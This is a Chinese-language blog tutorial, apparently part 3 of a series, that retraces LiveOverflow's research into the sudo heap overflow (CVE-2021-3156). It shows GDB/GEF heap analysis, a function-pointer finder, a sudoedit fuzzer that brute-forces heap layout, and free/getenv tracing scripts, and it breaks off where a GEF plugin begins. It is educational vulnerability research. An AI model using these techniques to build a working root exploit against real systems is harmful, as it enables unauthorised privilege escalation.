Joe1sn's Cabinet

SUDO堆溢出提权:从fuzz到exp [3]

前文:https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/

受到youtuber:LiveOverflow的系列教程的启发,我发现在中文互联网上并没有相关的翻译教程,所以我想以实验报告的形式来创造这个从fuzz到exp的系列图文教程

原始视频合集:https://www.youtube.com/watch?v=uj1FTiczJSE&list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx

原始Blog:https://liveoverflow.com/why-pick-sudo-research-target-part-1/

原作者代码仓库:https://github.com/LiveOverflow/pwnedit

My previous blog: https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/

I was inspired by the LiveOverflow’s Sudo Vulnerability Walkthrough on youtube, but i found there’s no Chinese version of this walkthrough tutorial, so i decided to write in experimental report way to create this “from fuzz to exploit” series.

Original Videos: https://www.youtube.com/watch?v=uj1FTiczJSE&list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx

Original Blog: https://liveoverflow.com/why-pick-sudo-research-target-part-1/

Source Project Code: https://github.com/LiveOverflow/pwnedit


本节内容:

Discussing Heap Exploit Strategies for sudo - Ep. 09

Developing a Tool to Find Function Pointers on The Heap | Ep. 10

Fuzzing Heap Layout to Overflow Function Pointers | Ep. 11

Developing GDB Extension for Heap Exploitation | Ep. 12

编写exp思路

对于CTF中常见的堆思路是通过堆分配算法,使用freemalloc进行exp的编写,所以一般会出现一些菜单让你使用这些功能。本质上是攻击堆分配算法

但是在漏洞利用中,只存在这一个堆溢出,我们无法进行系列的freemalloc,所以思路是能否攻击堆内的有效数据,尝试找到堆内的函数指针或者其他有用的数据。本质上是攻击堆上的数据

GDB调试

不适用asan重新编译后,使用GEF分析crash时堆的分布

image-20220414081956697

一个很明显的堆溢出,再看看出发时的堆分布

断点

image-20220414082506061

堆chunk

image-20220414082234355

image-20220414082408083

再次到达断点,堆溢出

image-20220414083507789

困难与解决

这样的堆分配情况让我们很难使用堆风水去调整堆分配,并且在程序运行中会遇到各种何样的内存分配情况,哪怕是不一样的长度都会造成堆分配的不同,进而让数据分配到不同的地方。

如何解决,有两个思路

  • 作者收到了原文报告的启发,尝试编写小工具去“控制”堆

    To implement this initial technique, we wrote a rudimentary brute-forcer
    that executes Sudo inside gdb, overflows the “user_args” buffer, and
    randomly selects the following parameters:

  • 通过覆写其他堆中的函数指针来实现rce或者提权

函数指针工具编写

思路分析

从gdb的vmmap指令我们知道程序有哪些代码段

image-20220414084942194

如果在堆内存中带有x即可执行权限的话就可能存在能够被我们利用的函数指针

工具编写

  1. 写入但是没有溢出的情况下,在漏洞函数断点,dump内存

    1
    dump binary memory /pwd/heap 0x005555555f9000 0x00555555637000
  2. 复制vmmap结果,尝试分析出有可执行权限的内存地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    0x00555555554000 0x0055555555b000 0x00000000000000 r-- /pwd/sudo_test/src/sudo
    0x0055555555b000 0x005555555d6000 0x00000000007000 r-x /pwd/sudo_test/src/sudo
    0x005555555d6000 0x005555555f4000 0x00000000082000 r-- /pwd/sudo_test/src/sudo
    0x005555555f4000 0x005555555f5000 0x0000000009f000 r-- /pwd/sudo_test/src/sudo
    0x005555555f5000 0x005555555f9000 0x000000000a0000 rw- /pwd/sudo_test/src/sudo
    0x005555555f9000 0x00555555637000 0x00000000000000 rw- [heap]
    0x007ffff7cc1000 0x007ffff7d02000 0x00000000000000 rw-
    0x007ffff7d02000 0x007ffff7d05000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
    0x007ffff7d05000 0x007ffff7d0c000 0x00000000003000 r-x /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
    0x007ffff7d0c000 0x007ffff7d0e000 0x0000000000a000 r-- /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
    0x007ffff7d0e000 0x007ffff7d0f000 0x0000000000b000 r-- /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
    0x007ffff7d0f000 0x007ffff7d10000 0x0000000000c000 rw- /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
    0x007ffff7d10000 0x007ffff7d16000 0x00000000000000 rw-
    0x007ffff7d16000 0x007ffff7d1d000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
    0x007ffff7d1d000 0x007ffff7d4f000 0x00000000000000 r-- /usr/lib/locale/C.UTF-8/LC_CTYPE
    0x007ffff7d4f000 0x007ffff7d51000 0x00000000000000 rw-
    0x007ffff7d51000 0x007ffff7d73000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x007ffff7d73000 0x007ffff7eeb000 0x00000000022000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x007ffff7eeb000 0x007ffff7f39000 0x0000000019a000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x007ffff7f39000 0x007ffff7f3d000 0x000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x007ffff7f3d000 0x007ffff7f3f000 0x000000001eb000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x007ffff7f3f000 0x007ffff7f43000 0x00000000000000 rw-
    0x007ffff7f43000 0x007ffff7f45000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f45000 0x007ffff7f56000 0x00000000002000 r-x /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f56000 0x007ffff7f5c000 0x00000000013000 r-- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f5c000 0x007ffff7f5d000 0x00000000019000 --- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f5d000 0x007ffff7f5e000 0x00000000019000 r-- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f5e000 0x007ffff7f5f000 0x0000000001a000 rw- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f5f000 0x007ffff7f65000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
    0x007ffff7f65000 0x007ffff7f76000 0x00000000006000 r-x /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
    0x007ffff7f76000 0x007ffff7f7c000 0x00000000017000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
    0x007ffff7f7c000 0x007ffff7f7d000 0x0000000001c000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
    0x007ffff7f7d000 0x007ffff7f7e000 0x0000000001d000 rw- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
    0x007ffff7f7e000 0x007ffff7f82000 0x00000000000000 rw-
    0x007ffff7f82000 0x007ffff7f84000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
    0x007ffff7f84000 0x007ffff7f99000 0x00000000002000 r-x /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
    0x007ffff7f99000 0x007ffff7fb3000 0x00000000017000 r-- /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
    0x007ffff7fb3000 0x007ffff7fb4000 0x00000000030000 r-- /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
    0x007ffff7fb4000 0x007ffff7fb5000 0x00000000031000 rw- /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
    0x007ffff7fb5000 0x007ffff7fbd000 0x00000000000000 rw-
    0x007ffff7fbd000 0x007ffff7fbe000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libutil-2.31.so
    0x007ffff7fbe000 0x007ffff7fbf000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/libutil-2.31.so
    0x007ffff7fbf000 0x007ffff7fc0000 0x00000000002000 r-- /usr/lib/x86_64-linux-gnu/libutil-2.31.so
    0x007ffff7fc0000 0x007ffff7fc1000 0x00000000002000 r-- /usr/lib/x86_64-linux-gnu/libutil-2.31.so
    0x007ffff7fc1000 0x007ffff7fc2000 0x00000000003000 rw- /usr/lib/x86_64-linux-gnu/libutil-2.31.so
    0x007ffff7fc2000 0x007ffff7fc4000 0x00000000000000 rw-
    0x007ffff7fca000 0x007ffff7fce000 0x00000000000000 r-- [vvar]
    0x007ffff7fce000 0x007ffff7fcf000 0x00000000000000 r-x [vdso]
    0x007ffff7fcf000 0x007ffff7fd0000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x007ffff7fd0000 0x007ffff7ff3000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x007ffff7ff3000 0x007ffff7ffb000 0x00000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x007ffff7ffc000 0x007ffff7ffd000 0x0000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x007ffff7ffd000 0x007ffff7ffe000 0x0000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
    0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
  3. 编写python脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    vmmap='''
    0x00555555554000 0x0055555555b000 0x00000000000000 r-- /pwd/sudo_test/src/sudo
    0x0055555555b000 0x005555555d6000 0x00000000007000 r-x /pwd/sudo_test/src/sudo
    0x005555555d6000 0x005555555f4000 0x00000000082000 r-- /pwd/sudo_test/src/sudo
    0x005555555f4000 0x005555555f5000 0x0000000009f000 r-- /pwd/sudo_test/src/sudo
    0x005555555f5000 0x005555555f9000 0x000000000a0000 rw- /pwd/sudo_test/src/sudo
    0x005555555f9000 0x00555555637000 0x00000000000000 rw- [heap]
    0x007ffff7cc1000 0x007ffff7d02000 0x00000000000000 rw-
    0x007ffff7d02000 0x007ffff7d05000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
    0x007ffff7d05000 0x007ffff7d0c000 0x00000000003000 r-x /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
    0x007ffff7d0c000 0x007ffff7d0e000 0x0000000000a000 r-- /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
    0x007ffff7d0e000 0x007ffff7d0f000 0x0000000000b000 r-- /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
    0x007ffff7d0f000 0x007ffff7d10000 0x0000000000c000 rw- /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
    0x007ffff7d10000 0x007ffff7d16000 0x00000000000000 rw-
    0x007ffff7d16000 0x007ffff7d1d000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
    0x007ffff7d1d000 0x007ffff7d4f000 0x00000000000000 r-- /usr/lib/locale/C.UTF-8/LC_CTYPE
    0x007ffff7d4f000 0x007ffff7d51000 0x00000000000000 rw-
    0x007ffff7d51000 0x007ffff7d73000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x007ffff7d73000 0x007ffff7eeb000 0x00000000022000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x007ffff7eeb000 0x007ffff7f39000 0x0000000019a000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x007ffff7f39000 0x007ffff7f3d000 0x000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x007ffff7f3d000 0x007ffff7f3f000 0x000000001eb000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x007ffff7f3f000 0x007ffff7f43000 0x00000000000000 rw-
    0x007ffff7f43000 0x007ffff7f45000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f45000 0x007ffff7f56000 0x00000000002000 r-x /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f56000 0x007ffff7f5c000 0x00000000013000 r-- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f5c000 0x007ffff7f5d000 0x00000000019000 --- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f5d000 0x007ffff7f5e000 0x00000000019000 r-- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f5e000 0x007ffff7f5f000 0x0000000001a000 rw- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
    0x007ffff7f5f000 0x007ffff7f65000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
    0x007ffff7f65000 0x007ffff7f76000 0x00000000006000 r-x /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
    0x007ffff7f76000 0x007ffff7f7c000 0x00000000017000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
    0x007ffff7f7c000 0x007ffff7f7d000 0x0000000001c000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
    0x007ffff7f7d000 0x007ffff7f7e000 0x0000000001d000 rw- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
    0x007ffff7f7e000 0x007ffff7f82000 0x00000000000000 rw-
    0x007ffff7f82000 0x007ffff7f84000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
    0x007ffff7f84000 0x007ffff7f99000 0x00000000002000 r-x /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
    0x007ffff7f99000 0x007ffff7fb3000 0x00000000017000 r-- /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
    0x007ffff7fb3000 0x007ffff7fb4000 0x00000000030000 r-- /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
    0x007ffff7fb4000 0x007ffff7fb5000 0x00000000031000 rw- /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
    0x007ffff7fb5000 0x007ffff7fbd000 0x00000000000000 rw-
    0x007ffff7fbd000 0x007ffff7fbe000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libutil-2.31.so
    0x007ffff7fbe000 0x007ffff7fbf000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/libutil-2.31.so
    0x007ffff7fbf000 0x007ffff7fc0000 0x00000000002000 r-- /usr/lib/x86_64-linux-gnu/libutil-2.31.so
    0x007ffff7fc0000 0x007ffff7fc1000 0x00000000002000 r-- /usr/lib/x86_64-linux-gnu/libutil-2.31.so
    0x007ffff7fc1000 0x007ffff7fc2000 0x00000000003000 rw- /usr/lib/x86_64-linux-gnu/libutil-2.31.so
    0x007ffff7fc2000 0x007ffff7fc4000 0x00000000000000 rw-
    0x007ffff7fca000 0x007ffff7fce000 0x00000000000000 r-- [vvar]
    0x007ffff7fce000 0x007ffff7fcf000 0x00000000000000 r-x [vdso]
    0x007ffff7fcf000 0x007ffff7fd0000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x007ffff7fd0000 0x007ffff7ff3000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x007ffff7ff3000 0x007ffff7ffb000 0x00000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x007ffff7ffc000 0x007ffff7ffd000 0x0000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x007ffff7ffd000 0x007ffff7ffe000 0x0000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
    0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
    '''

    import struct

    memmap = []
    for mem in vmmap.splitlines():
    if 'r-x' in mem:
    start, end, size, perm, f = mem.split(' ')
    start = int(start, 16)
    end = int(end, 16)
    memmap.append((start, end))

    with open('/pwd/heap','rb') as f:
    heap = f.read()

    n = 0x41

    for i in range(0, len(heap), 8):
    heap_addr = i+0x005555555f9000
    b = heap[i:i+8]
    q = struct.unpack('Q', b)[0]
    for mem in memmap:
    if q>=mem[0] and q<=mem[1]:
    # print(f"0x{heap_addr:016x}: {q:016x} {b}")
    print(f"set *0x{heap_addr:016x} = 0x"+(hex(n)[2:]*5))
    n += 1
    if 0x000055555561b4d0 == heap_addr:
    print(f"0x{heap_addr:016x}: our [buffer]")
  4. 得到结果

    image-20220414092034283

    能堆溢出的堆在最下面,不能覆写任何函数指针,艹

  5. 重新分析,判断找到的函数是否真的被执行了,作者这里修改了他的脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    n = 0x41

    for i in range(0, len(heap), 8):
    heap_addr = i+0x005555555f9000
    b = heap[i:i+8]
    q = struct.unpack('Q', b)[0]
    for mem in memmap:
    if q>=mem[0] and q<=mem[1]:
    # print(f"0x{heap_addr:016x}: {q:016x} {b}")
    print(f"set *0x{heap_addr:016x} = 0x"+(hex(n)[2:]*5))
    n += 1
    if 0x000055555561b4d0 == heap_addr:
    print(f"0x{heap_addr:016x}: our [buffer]")

    生成不会造成crash的文件

    1
    echo -en "0edit\x00-s\x000000000" > /tmp/normal

    image-20220414092905786

    在gdb中设置这些值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    set *0x00005555556149a8 = 0x4141414141
    set *0x00005555556149b0 = 0x4242424242
    set *0x0000555555615260 = 0x4343434343
    set *0x0000555555615268 = 0x4444444444
    set *0x0000555555617e00 = 0x4545454545
    set *0x0000555555617eb0 = 0x4646464646
    set *0x0000555555618378 = 0x4747474747
    set *0x0000555555618398 = 0x4848484848
    set *0x00005555556183b8 = 0x4949494949
    set *0x00005555556183d8 = 0x4a4a4a4a4a
    set *0x00005555556184d8 = 0x4b4b4b4b4b
    set *0x0000555555619b40 = 0x4c4c4c4c4c
    set *0x000055555561a0b0 = 0x4d4d4d4d4d

    取消断点继续,应该就会出现一些报错了

    image-20220414103302900

    >>问题

    • 没有出现报错,并且直接执行了

      脚本的相关的地址写错了

    发现一个红黑树!

    image-20220414103855166

    结果看到compar变量被我们覆盖了,说明函数真的被调用了,如果我们能覆盖compar地址,那么就能改写函数指针。重复这些过程就可以找到更多的函数指针。比如修改输入类型,然后把输入换成普通输入,set *0x000055555561a0b0 = 0x4d4d4d4d4d换掉,得到另一个crash

    image-20220415105540238

强制堆分配

在上一节中,能溢出的buffer位于最底层,不能更改能被使用的函数指针,所以尝试暴力取溢出长度,看看能不能分配到上面一点的位置。

核心思想是随机输入到sudoedit,然后调用上节找到的函数时,打印该函数指针和打印堆溢出的chunk

改写sudo源码

真实环境下的sudo和测试下的sudo是两个二进制文件,为了贴近正式的环境,要尽量的贴近真实情况下的sudo

  1. 添加打印参数Chunk地址

    image-20220414120240051

  2. 已上一节的红黑树为例,打印compar的值

    忘写分号了

    image-20220414122222094

    image-20220414122448875

1
2
./configure && make
ln -s /pwd/sudo_test/src/.libs/sudo ./src/.libs/sudoedit

作者在这里踩了坑,我想复现下,不想看的可以略过

image-20220414123642675

image-20220414123801800

虽然报错的方式不一样,但是结果和原因都是一样的。一个都是libsudo这个库找不到,作者的问题是使用的是系统变量中的库,但是这个库不含有printf即其他输出,自然也就没法打印字符串

>>问题

  • 没有反应

    找找是不是代码写的文件是其他文件的代码

所以使用make install安装方法就好了,只要之前make过一次之后就都可以了

image-20220414212057228

堆溢出发生时,程序并不会立即crash,而是会进入到红黑树的部分,但是能溢出的user_args地址在rbtree1地址后面,所以依然无法利用

暴力测试脚本

尝试构造不同的输入,看看能不能有路径可以把函数指针放在我们能溢出的chunk后面的

  1. 输入来源

    • stdin
    • 文件(files)
    • 协议参数(arguments)
    • 环境变量(env vars)
  2. 设置长度

    1
    2
    3
    4
    5
    6
    # define some common size values usable for different inputs
    _SIZES = [i for i in range(0,0xff)]
    _SIZES += [2**i for i in range(0,15)]
    _SIZES += [(2**i)+1 for i in range(0,15)]
    _SIZES += [(2**i)-1 for i in range(0,15)]
    _SIZES += ([0]*50)
  3. sudo参数协议(sudo help)

    1
    2
    3
    4
    5
    6
    7
    # define some flags from sudo -h
    ARG1 = ["-A","-B","-E","-e","-H","-K","-k","-l","-n","-P","-S","-s"]
    ARG1 += [None, None, None, None, None, None, None]
    ARG2 = _SIZES
    ARG3 = _SIZES
    HOSTNAME = _SIZES
    ENV = _SIZES
  4. 设置测试集

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    # dump a testcase into a logfile
    def dump_file(fname, lines, ptrs, arg, env, key):
    # create the folders if they don't exist
    directory = os.path.dirname(fname)
    if not os.path.exists(directory):
    os.makedirs(directory)

    # don't write the dump file if it's already too large
    if os.path.isfile(fname) and Path(fname).stat().st_size > 200000:
    return

    # write to file
    with open(fname, 'a+') as f:
    f.write("----------------------------\n")
    f.write(lines[1].decode('ascii'))
    if key:
    distance = ptrs[key] - ptrs[b'user_args']
    f.write(f"user_args < {key.decode('ascii')}\n")
    f.write(f"distance: 0x{distance:x}\n")
    if key:
    f.write(f"0x{ptrs[b'user_args']:016x} < 0x{ptrs[key]:016x}\n")
    f.write("args: sudoedit ")
    f.write(" ".join(arg))
    f.write("\n\n")
    for k in env:
    f.write(f"{k}={env[k]}\n")
    f.write("\n")
    f.write(lines[0].decode('ascii'))
    f.write("\n")

    test = {}
    test['arg'] = arg
    test['env'] = env
    f.write(json.dumps(test))
    f.write("\n\n")

    # this will run sudoedit with a set of arguments and environment variables
    def run_sudoedit(arg, env):
    print("-------------")
    # disable stdout buffering with stdbuf wrapping around sudoedit
    # and add the commandline arguments
    _cmd = ["/usr/bin/stdbuf", "-o0", "/usr/local/bin/sudoedit"] + arg

    # execute it
    p = subprocess.Popen(_cmd, env=env, bufsize=0, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    try:
    # send some newlines and check if we get any output
    lines = p.communicate(b"x\nx\nx\nx\n", timeout=0.1)
    except subprocess.TimeoutExpired:
    # terminate on timeout
    p.terminate()
    lines = p.communicate()
    if p.returncode == -11:
    print(f"SEGFAULT")

    # read the list of function pointers
    ptrs = {}
    skipping = True
    for line in lines[0].splitlines():
    key,val = line.split(b'=')
    if key == b'user_args':
    skipping = False
    if not skipping:
    ptrs[key] = int(val,16)

    # go through all function pointers
    if ptrs and b'user_args' in ptrs:
    for key in ptrs:
    if key != b'user_args':
    # is our overflow buffer before a function pointer?
    if ptrs[b'user_args'] < ptrs[key]:
    distance = ptrs[key] - ptrs[b'user_args']
    if distance<14000:
    fname = f'{FOLDER}/{distance}'
    dump_file(fname, lines, ptrs, arg, env, key)

    # did we get a segfault?
    if p.returncode == -11:
    fname = f"{FOLDER}/crashes/segfault_{distance}"
    dump_file(fname, lines, ptrs, arg, env, None)
    return
    return

    ALPHABET = '0123456789ABCDEFGHIKLMNOPQRSTUVWXYZ'
  5. fuzz主要功能

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    # fuzz loop
    while True:
    # select random size values
    arg1 = random.choice(ARG1)
    rand_arg2_size = random.choice(ARG2)
    rand_arg3_size = random.choice(ARG3)
    rand_hostname_size = random.choice(HOSTNAME)
    rand_env_size = random.choice(ENV)
    arg = []
    env = {}

    # arguments
    # ... -s AAAAAAA\ ...
    if arg1:
    arg.append(arg1)
    arg.append("-s")
    arg.append(random.choice(ALPHABET)*rand_arg2_size + "\\")
    if rand_arg3_size:
    arg.append(random.choice(ALPHABET)*rand_arg3_size)

    # environment variables
    if rand_hostname_size:
    env["HOSTNAME"] = random.choice(ALPHABET)*rand_hostname_size
    if rand_env_size:
    env[random.choice(ALPHABET)*3] = random.choice(ALPHABET)*rand_env_size

    # run sudoedit
    run_sudoedit(arg, env)
  6. 开始fuzz

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    # this will run sudoedit with a set of arguments and environment variables
    def run_sudoedit(arg, env):
    print("-------------")
    # disable stdout buffering with stdbuf wrapping around sudoedit
    # and add the commandline arguments
    _cmd = ["/usr/bin/stdbuf", "-o0", "/usr/local/bin/sudoedit"] + arg

    # execute it
    p = subprocess.Popen(_cmd, env=env, bufsize=0, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    try:
    # send some newlines and check if we get any output
    lines = p.communicate(b"x\nx\nx\nx\n", timeout=0.1)
    except subprocess.TimeoutExpired:
    # terminate on timeout
    p.terminate()
    lines = p.communicate()
    if p.returncode == -11:
    print(f"SEGFAULT")

    # read the list of function pointers
    ptrs = {}
    skipping = True
    for line in lines[0].splitlines():
    key,val = line.split(b'=')
    if key == b'user_args':
    skipping = False
    if not skipping:
    ptrs[key] = int(val,16)

    # go through all function pointers
    if ptrs and b'user_args' in ptrs:
    for key in ptrs:
    if key != b'user_args':
    # is our overflow buffer before a function pointer?
    if ptrs[b'user_args'] < ptrs[key]:
    distance = ptrs[key] - ptrs[b'user_args']
    if distance<14000:
    fname = f'{FOLDER}/{distance}'
    dump_file(fname, lines, ptrs, arg, env, key)

    # did we get a segfault?
    if p.returncode == -11:
    fname = f"{FOLDER}/crashes/segfault_{distance}"
    dump_file(fname, lines, ptrs, arg, env, None)
    return
    return

image-20220415130840543

最后发现chunk位置相差太远不同 ,根本无法利用

GDB工具编写

阶段 1

要改进上面的暴力脚本,就要知道我对的分配情况,我们也可以在gdb里面在每次malloc下断点查看size参数。

更为便捷的技巧是查看free时候的指针的地址的值,如果是我们认识的字符串,那么我们就能控制到哪里

1
2
3
4
5
6
7
8
9
set breakpoint pending on
break free
commands
silent
printf "free(): %s\n",$rdi
continue
end

run -s 'SSSSSSSSSSSSSSSSSSSSSYYY\'

运行

1
gdb -x ./gdb.init /usr/local/bin/sudoedit  > free_trace

image-20220415123301007

发现有环境变量,再次尝试设置环境变量

image-20220415123740168

发现根本没变,要是我们尝试更多的环境变量呢?

阶段 2

直接在加载环境变量(getenv(3p))的时候下断点,看看用了那些

1
2
3
4
5
6
7
8
9
10
set breakpoint pending on

break getenv
commands
silent
printf "getenv(): %s\n",$rdi
continue
end

run -s 'SSSSSSSSSSSSSSSSSSSSSYYY\'

发现可以设置的环境变量值

image-20220415124335590

再次改写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
set breakpoint pending on
set environment LOCPATH = HEAP0
set environment LC_ALL = HEAP1
set environment LC_IDENTIFICATION = HEAP2
set environment LANG = HEAP3
set environment LC_MEASUREMENT = HEAP4
set environment LC_TELEPHONE = HEAP5
set environment LC_ADDRESS = HEAP6
set environment LC_NAME = HEAP7
set environment LC_PAPER = HEAP8
set environment LC_MESSAGES = HEAP9
set environment LC_MONETARY = HEAPA
set environment LC_COLLATE = HEAPB
set environment LC_TIME = HEAPC
set environment LC_NUMERIC = HEAPD
set environment LC_CTYPE = HEAPE
set environment GCONV_PATH = HEAPF
set environment TZ = HEAPG
set environment SHELL = HEAPI

break free
commands
silent
printf "free(): %s\n",$rdi
continue
end

run -s 'SSSSSSSSSSSSSSSSSSSSSYYY\'

image-20220415125938308

所以可以从这些地方下手来构建更好的暴力测试工具,同时作者也在第一份暴力测试工具中犯了很多错误。用github上的改进版本能快速找到能利用的点

image-20220415131006033

或许利用点在于覆写环境变量?

阶段 3

这时里exp还很远,也可以尝试下分析堆溢出过后还有哪些地方申请

作者直接写了一个gef的拓展工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# gdb -ex 'gef config gef.extra_plugins_dir "/pwd/gef"' -ex 'gef save' -ex quit

__AUTHOR__ = "liveoverflow"
__VERSION__ = 0.1

import collections
import gdb
import json

# persist "database" to the file
def dump(j):
with open('/tmp/malloc.json', 'w') as f:
f.write(json.dumps(j))

# load "database" from the file
def load():
with open('/tmp/malloc.json', 'r') as f:
j = json.loads(f.read())
return j

# handler for malloc() breakpoints
class MallocBreakpoint(gdb.Breakpoint):

def __init__(self, location, *args, **kwargs):
